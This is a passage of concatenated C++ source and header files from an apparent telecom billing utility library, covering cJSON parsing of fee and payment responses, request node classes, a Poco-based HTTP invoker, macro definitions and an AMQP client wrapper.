0; do { jRoot=cJSON_Parse(strResp.c_str()); if (!jRoot) { fprintf(stderr,"cJSON_Parse error, %s \n" , cJSON_GetErrorPtr()); iRetValue = FAIL; break; } jRespCode = cJSON_GetObjectItem(jRoot ,RESP_CODE); if(NULL == jRespCode) { fprintf(stderr,"cJSON_GetObjectItem error, %s \n" , cJSON_GetErrorPtr()); iRetValue = FAIL; break; } out = cJSON_Print(jRespCode); rnr.SetRespCode(out); free(out); out = NULL; jRespDesc = cJSON_GetObjectItem(jRoot ,RESP_DESC); if(NULL == jRespDesc) { fprintf(stderr,"cJSON_GetObjectItem error, %s \n" , cJSON_GetErrorPtr()); iRetValue = FAIL; break; } out = cJSON_Print(jRespDesc); rnr.SetRespDesc(out); free(out); out = NULL; respQOF.SetRespNodeRoot(rnr); if(rnr.GetRespCode().compare(1,4,"0000") == 0) { ///////only suscces, then parse jResult = cJSON_GetObjectItem(jRoot ,RESULT); if(NULL == jRespCode) { fprintf(stderr,"cJSON_GetObjectItem error, %s \n" , cJSON_GetErrorPtr()); iRetValue = FAIL; break; } jOweFeeInfo = cJSON_GetObjectItem(jResult , OWE_FEE_INFO); int iCnt = cJSON_GetArraySize(jOweFeeInfo); _OWE_FEE_INFO owi; for(int i = 0 ; i < iCnt ; ++i) { memset(&owi , 0 , sizeof(_OWE_FEE_INFO)); ////获取数组中第一个元素 jOweItem = NULL; jOweItem = cJSON_GetArrayItem(jOweFeeInfo ,i); if( NULL == jOweItem) { fprintf(stderr,"cJSON_GetArrayItem return null \n"); iRetValue = FAIL; goto LOOP_END; } ////用户付费标识 json = NULL; json = cJSON_GetObjectItem(jOweItem ,PREPAY_TAG); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; strncpy(owi.strPrepayTag , out+1 , 1); free(out); ////上月账单出帐标识 json = NULL; json = cJSON_GetObjectItem(jOweItem ,LAST_BILL_PAY_TAG); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; strncpy(owi.strLMPayTag , out+1 , sizeof(owi.strLMPayTag)-1); free(out); ////上月未出帐账单费用 json = NULL; json = cJSON_GetObjectItem(jOweItem ,LAST_MONTH_BILL_FEE); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; owi.lLMBillFee= atol(out+1); free(out); json = NULL; json = cJSON_GetObjectItem(jOweItem ,ACCT_ID); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; owi.lAcctID= atol(out+1); free(out); json = NULL; json = cJSON_GetObjectItem(jOweItem ,REAL_FEE); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; owi.lRealFee= atol(out+1); free(out); json = NULL; json = cJSON_GetObjectItem(jOweItem ,OWE_FEE); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; owi.lOweFee= atol(out+1); free(out); json = NULL; json = cJSON_GetObjectItem(jOweItem ,LEAVE_REAL_FEE); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; owi.lLeaveRealFee = atol(out+1); free(out); json = NULL; json = cJSON_GetObjectItem(jOweItem ,TOTAL_OWE_FEE); if( NULL == json ) { fprintf(stderr,"cJSON_GetObjectItem return null \n"); iRetValue = FAIL; goto LOOP_END; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; owi.lTotalOweFee = atol(out+1); free(out); respQOF.PushBack(owi); } } }while(false); LOOP_END: if(jRoot) cJSON_Delete(jRoot); return iRetValue; } //// RespNodePayFeeNode::RespNodePayFeeNode() { } RespNodePayFeeNode::~RespNodePayFeeNode() { } RespNodePayFeeNode::RespNodePayFeeNode(const RespNodePayFeeNode &resp) { m_strChargeID = resp.m_strChargeID; } RespNodePayFeeNode& RespNodePayFeeNode::operator = (const RespNodePayFeeNode &resp) { if(this == &resp) return *this; m_strChargeID = resp.m_strChargeID; return *this; } void RespNodePayFeeNode::SetChargeID(std::string id) { m_strChargeID = id; } std::string RespNodePayFeeNode::GetChargeID() { return m_strChargeID; } int RespNodePayFeeNode::JsonParseRespPayFeeNode(std::string strResp, RespNodePayFeeNode &respPF) { cJSON *jRoot=NULL; cJSON *jResult=NULL ; cJSON *json = NULL; char *out=NULL; jRoot=cJSON_Parse(strResp.c_str()); if (!jRoot) { fprintf(stderr,"cJSON_Parse error , %s\n" , cJSON_GetErrorPtr()); return FAIL; } json = cJSON_GetObjectItem(jRoot ,RESP_CODE); if(NULL == json) { fprintf(stderr,"cJSON_GetObjectItem error , %s\n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); respPF.SetRespCode(out); free(out); out = NULL; json = cJSON_GetObjectItem(jRoot ,RESP_DESC); if(NULL == json) { fprintf(stderr,"cJSON_GetObjectItem error , %s\n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); respPF.SetRespDesc(out); free(out); out = NULL; if( respPF.GetRespCode().compare(1,4,"0000") == 0) { /////// jResult = cJSON_GetObjectItem(jRoot ,RESULT); if(NULL == jResult) { fprintf(stderr,"cJSON_GetObjectItem error , %s\n" , cJSON_GetErrorPtr()); return FAIL; } json = cJSON_GetObjectItem(jResult , CHARGE_ID); if(NULL == json) { fprintf(stderr,"cJSON_GetObjectItem error , %s\n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); respPF.SetChargeID(out); free(out); out = NULL; } return 0; } ////////////////// RespNodeOnWaySheeNode::RespNodeOnWaySheeNode() { } RespNodeOnWaySheeNode::~RespNodeOnWaySheeNode() { } RespNodeOnWaySheeNode::RespNodeOnWaySheeNode(const RespNodeOnWaySheeNode &resp) { } RespNodeOnWaySheeNode& RespNodeOnWaySheeNode::operator = (const RespNodeOnWaySheeNode &resp) { } void RespNodeOnWaySheeNode::PushOnWaySheet(_ON_WAY_SHEET &sheet) { m_vecOnWaySheet.push_back(sheet); } const std::vector<_ON_WAY_SHEET> &RespNodeOnWaySheeNode::GetOnWaySheet() { return m_vecOnWaySheet; } int RespNodeOnWaySheeNode::JsonParseOnWaySheetNode(std::string strResp, RespNodeOnWaySheeNode &respSheet) { cJSON *jRoot=NULL; cJSON *jResult=NULL ; cJSON *jTrade = NULL; cJSON *jItem = NULL; cJSON *json = NULL; char *out=NULL; jRoot=cJSON_Parse(strResp.c_str()); if (!jRoot) { fprintf(stderr, "cJSON_Parse return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } json = cJSON_GetObjectItem(jRoot ,RESP_CODE); if(NULL == json) { fprintf(stderr, "cJSON_GetObjectItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); respSheet.SetRespCode(out); free(out); out = NULL; json = cJSON_GetObjectItem(jRoot ,RESP_DESC); if(NULL == json) { fprintf(stderr, "cJSON_GetObjectItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); respSheet.SetRespDesc(out); free(out); out = NULL; if( respSheet.GetRespCode().compare(1,4,"0000") == 0) { /////// jResult = cJSON_GetObjectItem(jRoot ,RESULT); if(NULL == jResult) { fprintf(stderr, "cJSON_GetObjectItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } jTrade = cJSON_GetObjectItem(jResult , TRADE); if(NULL == jTrade) { fprintf(stderr, "cJSON_GetObjectItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } int iCnt = cJSON_GetArraySize(jTrade); for(int i = 0 ; i < iCnt ; ++i) { _ON_WAY_SHEET owSheet; memset(&owSheet , 0 , sizeof(owSheet)); jItem = NULL; jItem = cJSON_GetArrayItem(jTrade ,i); if( NULL == jItem) { fprintf(stderr, "cJSON_GetArrayItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } ////在途工单类型 json = NULL; json = cJSON_GetObjectItem(jItem ,TRADE_TYPE_CODE); if( NULL == json ) { fprintf(stderr, "cJSON_GetObjectItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; strncpy(owSheet.strTradeTypeCode , out+1 , sizeof(owSheet.strTradeTypeCode)-1); free(out); ////在途工单类型的交易id json = NULL; json = cJSON_GetObjectItem(jItem ,TRADE_ID); if( NULL == json ) { fprintf(stderr, "cJSON_GetObjectItem return null. %s \n" , cJSON_GetErrorPtr()); return FAIL; } out = cJSON_Print(json); out[strlen(out)-1] = '\0'; strncpy(owSheet.strTradeID , out+1 , sizeof(owSheet.strTradeID)-1); free(out); respSheet.PushOnWaySheet(owSheet); } } ///20150615 cJSON_Delete(jRoot); return 0; } } <file_sep>/include/AmqpClient.h /* * AmqpClient.h * * Created on: 2018年3月12日 * Author: chengl */ #ifndef AMQPCLIENT_H_ #define AMQPCLIENT_H_ #include <unistd.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <fcntl.h> #include <map> #include <amqpcpp.h> #include <amqpcpp/linux_tcp.h> #include <memory> #include <thread> // std::thread #include <mutex> // std::mutex namespace BusinessUtil{ class ITcpHandler; class AmqpClient { public: /** * @user: 用户名 * @pwd: <PASSWORD> * @host: 主机地址 * @port: mq对应的端口 * @vhost: 虚拟目录 */ AmqpClient(std::string user , std::string pwd, std::string host , short port , std::string vhost = ""); ~AmqpClient(); /** * 开启事件调度 */ void EventLoop(ITcpHandler *tcpHandler); /** * 创建通道 */ std::shared_ptr<AMQP::TcpChannel> CreateChannel(); /** * 客户端重新调度 */ void ReEventLoop(); /** * 停止客户段运行 */ void Stop(); /** * 客户端是否停止运行 */ bool IsStop(); /** * 事件监控,新线程中调用 */ void Run(); private: AmqpClient(const AmqpClient &qc ) = delete; AmqpClient(AmqpClient &&qc ) = delete; AmqpClient& operator = (const AmqpClient &qc ) = delete; AmqpClient& operator = (AmqpClient &&qc ) = delete; /** * 创建链接地址串 */ std::string BuildAddress(std::string user , std::string pwd, std::string host , short port , std::string vhost); /** *关闭客户端链接 */ void CloseConnection(); std::map<int,int> m_fdMap; ITcpHandler *m_tcpHandler; AMQP::Address *m_address; AMQP::TcpConnection *m_connection; //底层链接 bool m_stop; ////是否停止 ///时间监控线程 std::thread *m_eventThread; friend class ITcpHandler; }; class ITcpHandler: public AMQP::TcpHandler { public: ITcpHandler(AmqpClient *amqpClient):m_QmqpClient(amqpClient){} ~ITcpHandler() = default; /** * Method that is called when the connection was closed. This is the * counter part of a call to Connection::close() and it confirms that the * connection was correctly closed. * * @param connection The connection that was closed and that is now unusable */ virtual void onClosed(AMQP::TcpConnection *connection) { m_QmqpClient->m_stop = true; } /** * Method that is called by the AMQP library when a fatal error occurs * on the connection, for example because data received from RabbitMQ * could not be recognized. * @param connection The connection on which the error occured * @param message A human readable error message */ virtual void onError(AMQP::TcpConnection *connection, const char *message) { // @todo // add your own implementation, for example by reporting the error // to the user of your program, log the error, and destruct the // connection object because it is no longer in a usable state m_QmqpClient->m_stop = true; } /** * Method that is called by the AMQP-CPP library when it wants to interact * with the main event loop. The AMQP-CPP library is completely non-blocking, * and only make "write()" or "read()" system calls when it knows in advance * that these calls will not block. To register a filedescriptor in the * event loop, it calls this "monitor()" method with a filedescriptor and * flags telling whether the filedescriptor should be checked for readability * or writability. * * @param connection The connection that wants to interact with the event loop * @param fd The filedescriptor that should be checked * @param flags Bitwise or of AMQP::readable and/or AMQP::writable */ virtual void monitor(AMQP::TcpConnection *connection, int fd, int flags) { // @todo // add your own implementation, for example by adding the file // descriptor to the main application event loop (like the select() or // poll() loop). When the event loop reports that the descriptor becomes // readable and/or writable, it is up to you to inform the AMQP-CPP // library that the filedescriptor is active by calling the // connection->process(fd, flags) method. if(0 == flags ) { m_QmqpClient->m_fdMap.erase(fd); return ; } m_QmqpClient->m_fdMap[fd]=flags; } protected: AmqpClient *m_QmqpClient; }; } #endif /* AMQPCLIENT_H_ */ <file_sep>/include/SdpInvoke/ISIdefine.h #ifndef _SO_ISI_DEFINE_H #define _SO_ISI_DEFINE_H #include <stdio.h> #include <sys/types.h> #include <stdlib.h> /* for atoi(3) */ #include <unistd.h> /* for getopt(3) */ #include <getopt.h> #include <signal.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> ////// #include <iostream> #include <fstream> #include <string> #include <vector> #include <list> #include <map> #include <stack> #include <algorithm> // std::copy #include <math.h> /////// #include "cJSON.h" #include "MacroDefine.h" #include "Poco/DateTime.h" #include "Poco/LocalDateTime.h" #include "Poco/Timespan.h" #include "Poco/DateTimeFormat.h" #include "Poco/NumberFormatter.h" #include "Poco/Foundation.h" #include "Poco/Net/NetException.h" #include "Poco/Net/HTTPRequest.h" #include "Poco/Net/HTTPResponse.h" #include "Poco/Net/HTTPClientSession.h" #include "Poco/StreamCopier.h" #include "Poco/Exception.h" /////// using Poco::DateTime; using Poco::NumberFormatter; using Poco::LocalDateTime; using Poco::DateTimeFormat; using Poco::Timespan; using Poco::FastMutex; using Poco::Exception; using Poco::NotFoundException; /////////// ////// using Poco::Net::HTTPRequest; using Poco::Net::HTTPResponse; using Poco::Net::NetException; using Poco::Net::HTTPClientSession; using Poco::Net::HTTPMessage; using Poco::StreamCopier; #endif <file_sep>/src/SdpInvoke/InvokeCreditTrigger.cpp /* * InvokeCreditTrigger.cpp * * Created on: 2016年7月7日 * Author: clzdl */ #include "SdpInvoke/InvokeCreditTrigger.h" #include "StringUtil.h" namespace BusinessUtil { InvokeCreditTrigger::InvokeCreditTrigger(HTTPClientSession *pHttpSession , std::string strService) :InvokeBase(pHttpSession,strService), m_lAcctId(0), m_lUserId(0), m_lAddId(0), m_iTradeType(0), m_lThisFee(0) { } InvokeCreditTrigger::~InvokeCreditTrigger() { } void InvokeCreditTrigger::SetAcctId(long v) { m_lAcctId = v; } void InvokeCreditTrigger::SetUserId(long v) { m_lUserId = v; } void InvokeCreditTrigger::SetAddId(long v) { m_lAddId = v; } void InvokeCreditTrigger::SetTradeTypeCode(int v) { m_iTradeType = v; } void InvokeCreditTrigger::SetThisFee(long v) { m_lThisFee = v; } void InvokeCreditTrigger::SetInType(std::string v) { m_strInType = v; } int InvokeCreditTrigger::MakePackage() { LocalDateTime ldt; cJSON *root = NULL; int iRetCode = SUCCESS; do { root=cJSON_CreateObject(); if(NULL == root) { m_strErrInfo = " root cJSON_CreateObject fail."; iRetCode = FAIL; break; } cJSON_AddNumberToObject(root, "ACCT_ID", m_lAcctId); cJSON_AddNumberToObject(root, "UESR_ID", m_lUserId); cJSON_AddNumberToObject(root, "ADD_ID", m_lAddId); cJSON_AddNumberToObject(root, "TRADE_TYPE", m_iTradeType); cJSON_AddNumberToObject(root, "THIS_FEE", m_lThisFee); cJSON_AddStringToObject(root, "IN_TYPE", m_strInType.c_str()); char *out = cJSON_PrintUnformatted(root); if(out) { m_strSendInfo.append(out); free(out); } if(root) { cJSON_Delete(root); root = NULL; } }while(false); return iRetCode; } int InvokeCreditTrigger::ParsePackage() { cJSON *jRoot=NULL; cJSON *json = NULL; char *out=NULL; char strTemp[4092] = {0}; int iRetValue = SUCCESS; int iRetCode = SUCCESS; CommonUtils::StringUtil::trim(m_strReceiveInfo); do { jRoot=cJSON_Parse(m_strReceiveInfo.c_str()); if (!jRoot) { m_strErrInfo = std::string("Error before:11") + cJSON_GetErrorPtr(); iRetValue = FAIL; break; } ///RETURNCODE json = cJSON_GetObjectItem(jRoot ,"RETURNCODE"); if(NULL == json) { m_strErrInfo = std::string("Error before:22") + cJSON_GetErrorPtr(); iRetValue = FAIL; break; } out = cJSON_PrintUnformatted(json); iRetCode = atoi(out); free(out); if(iRetCode != SUCCESS) { ///errmsg json = cJSON_GetObjectItem(jRoot ,"ERRORMSG"); if(NULL == json) m_strErrInfo = std::string("Error before:33") + cJSON_GetErrorPtr(); if((out = cJSON_PrintUnformatted(json)) != NULL) { strncpy(strTemp,out+1 , strlen(out)-2); free(out); out = NULL; } m_strErrInfo.append("信控分发接口返回失败.desc:").append(strTemp); iRetValue = FAIL; } }while(false); if(jRoot) cJSON_Delete(jRoot); return iRetValue; } } <file_sep>/include/SdpInvoke/JsonReqNode.h #ifndef _CRM_JSON_REQ_NODE_H_ #define _CRM_JSON_REQ_NODE_H_ #include <SdpInvoke/JsonFieldDefine.h> #include <string> #include <vector> #include "cJSON.h" namespace BusinessUtil { ///请求包节点类 class NodeBase { public: NodeBase(); virtual ~NodeBase() = 0; }; ////20160427 class CTradeItem { public: void SetUpdateStaffId(std::string v ){strUpdateStaffId = v;} void SetUpdateDepartId(std::string v){strUpdateDepartId = v;} void SetUpdateDate(std::string v) {strUpdateDate = v;} void SetItemId(std::string v){ strItemId = v;} void SetAttrCode(std::string v) {strAttrCode = v;} void SetAttrValue(std::string v) { strAttrValue = v;} std::string GetUpdateStaffId(){ return strUpdateStaffId; } std::string GetUpdateDepartId(){ return strUpdateDepartId;} std::string GetUpdateDate() {return strUpdateDate;} std::string GetItemId(){ return strItemId;} std::string GetAttrCode(){ return strAttrCode;} std::string GetAttrValue(){ return strAttrValue; } private: std::string strUpdateStaffId; std::string strUpdateDepartId; std::string strUpdateDate; std::string strItemId; std::string strAttrCode; std::string strAttrValue; }; class NodeTrade:public NodeBase { public: NodeTrade(); ~NodeTrade(); NodeTrade(const NodeTrade &nt); NodeTrade& operator = (const NodeTrade &nt); void SetSubscribeID(std::string id); void SetTradeID(std::string id); void SetTradeTypeCode(std::string id); void SetInModeCode(std::string code); void SetSubscribeState(std::string state); void SetPackageID(std::string id); void SetBrandCode(std::string code); void SetUserID(std::string id); void SetCustID(std::string id); void SetAcctID(std::string id); void SetNetTypeCode(std::string code); void SetSerialNumber(std::string number); void SetCustName(std::string name); void SetFinishDate(std::string date); void SetAcceptStaffID(std::string id); void SetAcceptDepartID(std::string id); void SetAcceptProvinceCode(std::string code); void SetAcceptRegionCode(std::string code); void SetAcceptCityCode(std::string code); void SetTermIP(std::string ip); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetHaseFee(std::string hasfee); void SetFeeNum(std::string fee); void SetActorName(std::string name); void SetActorCertTypeID(std::string id); void SetActorPhone(std::string phone); void SetActorCertNum(std::string num); void SetContact(std::string contact); void SetContactPhone(std::string phone); void SetContactAddress(std::string addr); void SetRemark(std::string remark); void SetProviderCode(std::string code); void SetAcceptDate(std::string date); void SetOrderType(std::string type); void AddTradeItem(CTradeItem &ti); std::string GetSubscribeID(); std::string GetTradeID(); std::string GetTradeTypeCode(); std::string GetInModeCode(); std::string GetSubscribeState(); std::string GetPackageID(); std::string GetBrandCode(); std::string GetUserID(); std::string GetCustID(); std::string GetAcctID(); std::string GetNetTypeCode(); std::string GetSerialNumber(); std::string GetCustName(); std::string GetFinishDate(); std::string GetAcceptStaffID(); std::string GetAcceptDepartID(); std::string GetAcceptProvinceCode(); std::string GetAcceptRegionCode(); std::string GetAcceptCityCode(); std::string GetTermIP(); std::string GetProvinceCode(); std::string GetRegionCode(); std::string GetCityCode(); std::string GetHaseFee(); std::string GetFeeNum(); std::string GetActorName(); std::string GetActorCertTypeID(); std::string GetActorPhone(); std::string GetActorCertNum(); std::string GetContact(); std::string GetContactPhone(); std::string GetContactAddress(); std::string GetRemark(); std::string GetProviderCode(); std::string GetAcceptDate(); std::string GetOrderType(); static int JsonAddTradeNode(cJSON *root ,NodeBase &nb); std::vector<CTradeItem> m_vecTradeItem; private: std::string m_strSubscribeID; std::string m_strTradeID; std::string m_strTradeTypeCode; std::string m_strInModeCode; std::string m_strSubscribeState; std::string m_strPackageID; std::string m_strBrandCode; std::string m_strUserID; std::string m_strCustID; std::string m_strAcctID; std::string m_strNetTypeCode; std::string m_strSerialNumber; std::string m_strCustName; std::string m_strFinishDate; std::string m_strAcceptStaffID; std::string m_strAcceptDepartID; std::string m_strAcceptProvinceCode; std::string m_strAcceptRegionCode; std::string m_strAcceptCityCode; std::string m_strAcceptDate; std::string m_strOrderType; std::string m_strTermIP; std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; std::string m_strHaseFee; std::string m_strFeeSum; std::string m_strActorName; std::string m_strActorCertTypeID; std::string m_strActorPhone; std::string m_strActorCertNum; std::string m_strContact; std::string m_strContactPhone; std::string m_strContactAddress; std::string m_strRemark; std::string m_strProviderCode; }; ///缴费查询 class NodeQryOweFee:public NodeBase { public: NodeQryOweFee(); ~NodeQryOweFee(); NodeQryOweFee(const NodeQryOweFee &nqof); NodeQryOweFee& operator = (const NodeQryOweFee &nqof); void SetRecvTag(int tag); void SetQryID(std::string id); int GetRecvTag(); std::string GetQryID(); static int JsonAddQryOweFeeNode(cJSON *root , NodeBase &nb); private: int m_iRecvTag; std::string m_strQryID; }; ///用户缴费 class NodePayFee:public NodeBase { public: NodePayFee(); ~NodePayFee(); NodePayFee(const NodePayFee &npf); NodePayFee& operator = (const NodePayFee &npf); void SetSerialNumber(std::string number); void SetRecvTag(std::string tag); void SetAcctID(std::string id); void SetUserID(std::string id); void SetRecvFee(std::string fee); void SetPaymentID(std::string id); void SetPayfeeModeCode(std::string code); void SetChannelID(std::string id); void SetPayOrderNumber(std::string number); void SetPayChargeID(std::string id); void SetBankCode(std::string code); void SetCardType(std::string type); void SetPostNumber(std::string number); void SetActionCode(std::string code); void SetTradeTypeCode(std::string code); std::string GetSerialNumber(); std::string GetRecvTag(); std::string GetAcctID(); std::string GetUserID(); std::string GetRecvFee(); std::string GetPaymentID(); std::string GetPayfeeModeCode(); std::string GetChannelID(); std::string GetPayOrderNumber(); std::string GetPayChargeID(); std::string GetBankCode(); std::string GetCardType(); std::string GetPostNumber(); std::string GetActionCode(); std::string GetTradeTypeCode(); static int JsonAddPayFeeNode(cJSON *root , NodeBase &nb); private: std::string m_strSerialNumber; /// std::string m_strRecvTag; /// std::string m_strAcctID; std::string m_strUserID; std::string m_strRecvFee; std::string m_strPaymentID; std::string m_strPayfeeModeCode; std::string m_strChannelID; std::string m_strPayOrderNumber; std::string m_strPayChargeID; std::string m_strBankCode; std::string m_strCardType; std::string m_strPostNumber; std::string m_strActionCode; std::string m_strTradeTypeCode; }; ////短信发送 class NodeSendMsg:public NodeBase { public: NodeSendMsg(); NodeSendMsg(std::string phone, std::string msg); ~NodeSendMsg(); NodeSendMsg(const NodeSendMsg &nsm); NodeSendMsg& operator = (const NodeSendMsg &nsm); void SetPhoneNum(std::string num); void SetMsg(std::string msg); std::string GetPhoneNum(); std::string GetMsg(); static int JsonAddSendMsgNode(cJSON *root , NodeBase &nb); private: std::string m_strPhoneNum; std::string m_strMsg; }; ////在途工单判断 class NodeOnWaySheet:public NodeBase { public: NodeOnWaySheet(); NodeOnWaySheet(std::string strTradeTypeCode, std::string strSeialNumber); ~NodeOnWaySheet(); NodeOnWaySheet(const NodeOnWaySheet &nows); NodeOnWaySheet& operator = (const NodeOnWaySheet &nows); void SetSerialNumber(std::string num); void SetTradeTypeCode(std::string code); std::string GetSerialNumber(); std::string GetTradeTypeCode(); static int JsonAddOnWaySheetNode(cJSON *root , NodeBase &nb); private: std::string m_strSerialNumber; std::string m_strTradeTypeCode; }; /////////////// ///包头类 class NodeRoot { public: NodeRoot(); ~NodeRoot(); NodeRoot(const NodeRoot &nr); NodeRoot& operator = (const NodeRoot &nr); void SetOperCode(std::string code); void SetStaffID(std::string id); void SetDepartID(std::string id); void SetProvinceCode(std::string code); void SetRegionCode(std::string code); void SetCityCode(std::string code); void SetRouteProvinceCode(std::string code); void SetRouteRegionCode(std::string code); void SetRouteCityCode(std::string code); void SetInNetMode(std::string mode); std::string GetOperCode(); std::string GetStaffID(); std::string GetDepartID(); std::string GetProvinceCode(); std::string GetRegionCode(); std::string GetCityCode(); std::string GetRouteProvinceCode(); std::string GetRouteRegionCode(); std::string GetRouteCityCode(); std::string GetInNetMode(); static cJSON* JsonCreateRoot(NodeRoot &nr); private: std::string m_strOperCode; std::string m_strStaffID; std::string m_strDepartID; std::string m_strProvinceCode; std::string m_strRegionCode; std::string m_strCityCode; std::string m_strRouteProvinceCode; std::string m_strRouteRegionCode; std::string m_strRouteCityCode; std::string m_strInNetMode; }; } #endif <file_sep>/src/SdpInvoke/InvokeBase.cpp /* * soInvokeBase.cpp * * Created on: 2015年6月16日 * Author: chengl */ #include <SdpInvoke/InvokeBase.h> #include "NumberUtil.h" #include <sstream> namespace BusinessUtil { InvokeBase::InvokeBase(HTTPClientSession *pHttpSession , std::string strService) :m_pHttpSession(pHttpSession), m_strService(strService) { } InvokeBase::~InvokeBase() { } int InvokeBase::SendPackage() { if(SUCCESS != MakePackage()) return FAIL; try { HTTPRequest httpReq(HTTPRequest::HTTP_POST, m_strService, HTTPMessage::HTTP_1_1); httpReq.setContentType("application/json;charset=UTF-8"); httpReq.set("User-Agent", "Billing"); httpReq.setContentLength((int) m_strSendInfo.length()); m_pHttpSession->sendRequest(httpReq) <<m_strSendInfo; } catch(NetException &e) { m_strErrInfo = "exception: " + e.displayText(); return FAIL; } catch(Exception &e) { m_strErrInfo = "exception: " + e.displayText(); return FAIL; } return SUCCESS; } int InvokeBase::ReceivePackage() { HTTPResponse response; std::ostringstream ostr; try { std::istream& rs = m_pHttpSession->receiveResponse(response); _TRACE_MSG("response status : %d \n" ,response.getStatus() ); if(200 != response.getStatus()) { m_strErrInfo = "response status " + CommonUtils::NumberUtil::Number2String(response.getStatus()); return FAIL; } StreamCopier::copyStream(rs, ostr); if(!response.getKeepAlive()) { ////keep-alive : close _TRACE_MSG("close session.\n"); m_pHttpSession->reset(); } m_strReceiveInfo = ostr.str(); if(SUCCESS != ParsePackage()) return FAIL; } catch(NetException &e) { m_strErrInfo = "exception: " + e.displayText(); return FAIL; } catch(Exception &e) { m_strErrInfo = "exception: " + e.displayText(); return FAIL; } return SUCCESS; } std::string InvokeBase::GetErrInfo() { return m_strErrInfo; } std::string InvokeBase::GetSendInfo() { return m_strSendInfo; } std::string InvokeBase::GetReceiveInfo() { return m_strReceiveInfo; } } <file_sep>/include/MacroDefine.h /* * MacroDefine.h * * Created on: 2015年11月27日 * Author: clzdl */ #ifndef MACRODEFINE_H_ #define MACRODEFINE_H_ ////////////////////logic macro #define SUCCESS 0 #define FAIL -1 #define TRUE 1 #define FALSE 0 /////record length macro #define MAX_RECORD_SIZE 4096 /////红名单位图宏定义 #define RB_NO_BALANCE_HASTEN 0 ///第一位:1表示免催费 #define RB_NO_HALFSTOP 1 ///第二位:1表示免半停机 #define RB_NO_DOUBLESTOP 2 ///第三位:1表示免停机 #define RB_NO_CALC_CREDIT 3 ///第四位:1表示免信用度计算 #define RB_NO_SMS_REMIND 4 ///第五位:1表示短信提醒 #define RB_NO_LARGE_REMIND 5 ///第六位:免高额提醒 #define RB_NO_OWE_DESTROY 6 ///第七位:免欠费拆机 #define RB_NO_STOP_REMIND 7 ///第八位:免停机提醒 #define RB_NO_BILCDR_REMIND 8 ///第九位:免帐单短信发送 #define RB_NO_USE_REMIND 9 ///第十位:免使用量提醒 #ifdef _DEBUG #define _TRACE_MSG(FMT, ...) fprintf(stdout,"[%s,%d]" FMT "\n" ,__FILE__ ,__LINE__, ##__VA_ARGS__) #else #define _TRACE_MSG(FMT, ...) #endif #define DUMP_OTL_EXCEPTION(logger , e) poco_error_f4(logger,"code:%d,msg:%s,stm_text:%s,var_info:%s",e.code,std::string((char*)e.msg),std::string((char*)e.stm_text),std::string((char*)e.var_info)) #define THROW_OTL_EXCEPTION(e) THROW_C_P4(BusinessUtil::BusiException,E_DB_ERROR,"code:%d,msg:%s,stm_text:%s,var_info:%s",e.code,e.msg,e.stm_text,e.var_info) #endif <file_sep>/src/AmqpClient.cpp /* * AmqpClient.cpp * * Created on: 2018年3月12日 * Author: chengl */ #include <AmqpClient.h> #include <sstream> namespace BusinessUtil{ AmqpClient::AmqpClient(std::string user , std::string pwd, std::string host , short port , std::string vhost) :m_stop(false), m_connection(nullptr), m_tcpHandler(nullptr), m_eventThread(nullptr) { m_address = new AMQP::Address(BuildAddress(user,pwd,host,port,vhost)); } AmqpClient::~AmqpClient() { CloseConnection(); delete m_address; m_eventThread->join(); delete m_eventThread; } void AmqpClient::EventLoop(ITcpHandler *tcpHandler) { m_tcpHandler = tcpHandler; m_connection = new AMQP::TcpConnection(tcpHandler , *m_address); m_eventThread = new std::thread(std::bind(&AmqpClient::Run ,this)); } void AmqpClient::ReEventLoop() { CloseConnection(); m_eventThread->join(); delete m_eventThread; m_connection = new AMQP::TcpConnection(m_tcpHandler , *m_address); m_eventThread = new std::thread(std::bind(&AmqpClient::Run ,this)); } void AmqpClient::Stop() { m_stop = true; CloseConnection(); } bool AmqpClient::IsStop() { return m_stop; } void AmqpClient::CloseConnection() { if(m_connection) { m_connection->close(); delete m_connection; m_connection = nullptr; } } void AmqpClient::Run() { int err = 0; int maxFd = 0; fd_set readSet; fd_set wirteSet; while(!m_stop) { struct timeval tv; tv.tv_sec = 5; tv.tv_usec = 0; FD_ZERO(&readSet); FD_ZERO(&wirteSet); for(auto it : m_fdMap) { if(it.second & AMQP::readable) FD_SET(it.first , &readSet); if(it.second & AMQP::writable ) FD_SET(it.first , &wirteSet); if(it.first > maxFd) maxFd = it.first; } err = select(maxFd + 